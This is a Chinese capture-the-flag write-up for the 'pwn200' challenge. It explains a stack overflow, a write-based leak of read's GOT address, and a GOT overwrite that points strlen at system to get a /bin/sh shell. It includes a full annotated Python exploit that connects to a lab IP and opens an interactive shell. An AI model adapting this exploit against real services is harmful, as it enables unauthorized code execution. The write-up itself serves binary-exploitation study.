題目給出了pwn200和libc.so。使用IDA查看程序,發現邏輯很簡單。
使用checksec查看pwn200的安全屬性,如下圖:

發現NX enabled,No PIE。
在第一次讀(0x08048524位置)的時候,可以讀取17個字節,觀察棧結構:

發現可以將nbytes覆蓋,可以覆蓋為0xff。
在第二次讀(0x08048596位置)的時候,可以覆蓋程序的返回地址至“08048507 call _write”,並且構造棧參數(為了泄露庫函數的虛擬地址)。如下:

這樣程序一返回(080485C1 retn)就執行write庫函數,通過GOT泄露出某個庫函數(這里可以泄露read的虛擬地址)的虛擬地址,從而通過IDA查看libc.so中system的位置和read的位置差,可以計算出system的虛擬地址。
緊接着會第三次讀(0x08048524位置),這個讀到內存的位置是:ebp+buf即ebp-0x1C,那么我們可以通過在第二次讀的時候構造理想的ebp,使得我們能夠將覆蓋GOT中strlen庫函數的虛擬地址,覆蓋為system的虛擬地址;同時,將buf開始處存儲/bin/sh。這樣在進行接下來的strlen函數調用時,相當於執行system("/bin/sh"),因此獲得shell。
exploit是來自http://www.imsebao.com/。思路很清晰,我稍加注釋。
from socket import * from struct import * import time #remote ''' readOffset = 0x000de3a0 systOffset = 0x0003f430 ''' #local readOffset = 0x000bdd20 systOffset = 0x00039100 param = '/bin/sh\x00' + 'ls home' + 'a'*5#'ls home' and 'a'*5 are paddings so that to override 0x08049858 #0x08049858 is strlen's address s = socket(AF_INET, SOCK_STREAM) s.connect(('192.168.200.7', 10001)) #construct name,override nbytes to \xff name = 'syclover'+ '\x00' + 'abcdefg' + '\xFF' # input name: print s.recv(1024) s.send(name) showReadGot = 'A'*156 showReadGot += pack('<I', 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst showReadGot += pack('<I', 0x08048507)#override ret to call write showReadGot += pack('<I', 1)#stdout showReadGot += pack('<I', 0x08049850)#src,read's got showReadGot += pack('<I', 4)#num # input slogan: print s.recv(1024) s.send(showReadGot) read = s.recv(1024)[-4:]#leak read's virtual address in process viraddr_read = unpack('<I', read)[0] print 'viraddr_read: %x' % viraddr_read syst = viraddr_read - readOffset + systOffset print 'system: %x' % syst exploit = param + pack('<I', syst) s.send(exploit) while True: s.send(raw_input('$ ') + '\n') time.sleep(0.5) print s.recv(1024)
總體思路,信息泄露(通過write)獲取system的線性地址;任意地址寫(通過read)修改GOT中strlen庫函數的地址為system的線性地址。
